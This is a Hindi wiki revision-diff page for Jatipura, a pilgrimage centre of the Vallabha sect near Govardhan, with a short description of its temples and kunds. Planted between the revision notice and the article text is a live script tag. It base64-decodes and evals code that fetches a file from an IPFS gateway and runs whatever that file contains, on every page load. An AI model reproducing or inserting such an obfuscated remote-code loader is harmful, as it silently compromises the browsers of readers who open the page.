"जतीपुरा" के अवतरणों में अंतर
नेविगेशन पर जाएँ
खोज पर जाएँ
पंक्ति १: | पंक्ति १: | ||
{{menu}}<br /> | {{menu}}<br /> | ||
+ | {{गोवर्धन-दर्शनीय-स्थल}} | ||
{{Incomplete}} | {{Incomplete}} | ||
− | |||
==जतीपुरा / Jatipura== | ==जतीपुरा / Jatipura== | ||
यह [[वल्लभ संप्रदाय|बल्लभ सम्प्रदाय]] का प्रमुख केन्द्र है । यहीं [[गोवर्धन]] पर श्रीनाथजी का प्राचीन मन्दिर था, जो अब जीर्ण-शीर्ण अवस्था में है । यहीं [[अष्टछाप]] के कवि [[सूरदास]] आदि कीर्तन करते थे । [[वल्लभाचार्य|श्रीबल्लभाचार्य]] जी एवं विट्ठलनाथजी की यहां बैठकें हैं । बल्लभ सम्प्रदाय के यहां अनेक मन्दिर हैं । जतीपुरा का नाम गोपालपुरा था, यहीं श्रीगिर्राज का मुखारबिन्द है । श्याम, ढाक, हरजी कुण्ड, ताजबीबी का चबूतरा, गोविन्द स्वामी की कदम्ब खण्डी, बिलछू कुण्ड जहां लीला स्थल है वहीं बल्लभ सम्प्रदाय भक्तों के ऐतिहासिक स्थान भी है । जतीपुरा से आगे गुलाल कुण्ड, गाठौली, टोड का घना है । | यह [[वल्लभ संप्रदाय|बल्लभ सम्प्रदाय]] का प्रमुख केन्द्र है । यहीं [[गोवर्धन]] पर श्रीनाथजी का प्राचीन मन्दिर था, जो अब जीर्ण-शीर्ण अवस्था में है । यहीं [[अष्टछाप]] के कवि [[सूरदास]] आदि कीर्तन करते थे । [[वल्लभाचार्य|श्रीबल्लभाचार्य]] जी एवं विट्ठलनाथजी की यहां बैठकें हैं । बल्लभ सम्प्रदाय के यहां अनेक मन्दिर हैं । जतीपुरा का नाम गोपालपुरा था, यहीं श्रीगिर्राज का मुखारबिन्द है । श्याम, ढाक, हरजी कुण्ड, ताजबीबी का चबूतरा, गोविन्द स्वामी की कदम्ब खण्डी, बिलछू कुण्ड जहां लीला स्थल है वहीं बल्लभ सम्प्रदाय भक्तों के ऐतिहासिक स्थान भी है । जतीपुरा से आगे गुलाल कुण्ड, गाठौली, टोड का घना है । | ||
− | + | ||
− | |||
[[category:कोश]] | [[category:कोश]] |
१०:४१, ६ सितम्बर २००९ का अवतरण
पन्ना बनने की प्रक्रिया में है। आप इसको तैयार कर सकते हैं। हिंदी (देवनागरी) टाइप की सुविधा संपादन पन्ने पर ही उसके नीचे उपलब्ध है। |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
जतीपुरा / Jatipura
यह बल्लभ सम्प्रदाय का प्रमुख केन्द्र है । यहीं गोवर्धन पर श्रीनाथजी का प्राचीन मन्दिर था, जो अब जीर्ण-शीर्ण अवस्था में है । यहीं अष्टछाप के कवि सूरदास आदि कीर्तन करते थे । श्रीबल्लभाचार्य जी एवं विट्ठलनाथजी की यहां बैठकें हैं । बल्लभ सम्प्रदाय के यहां अनेक मन्दिर हैं । जतीपुरा का नाम गोपालपुरा था, यहीं श्रीगिर्राज का मुखारबिन्द है । श्याम, ढाक, हरजी कुण्ड, ताजबीबी का चबूतरा, गोविन्द स्वामी की कदम्ब खण्डी, बिलछू कुण्ड जहां लीला स्थल है वहीं बल्लभ सम्प्रदाय भक्तों के ऐतिहासिक स्थान भी है । जतीपुरा से आगे गुलाल कुण्ड, गाठौली, टोड का घना है ।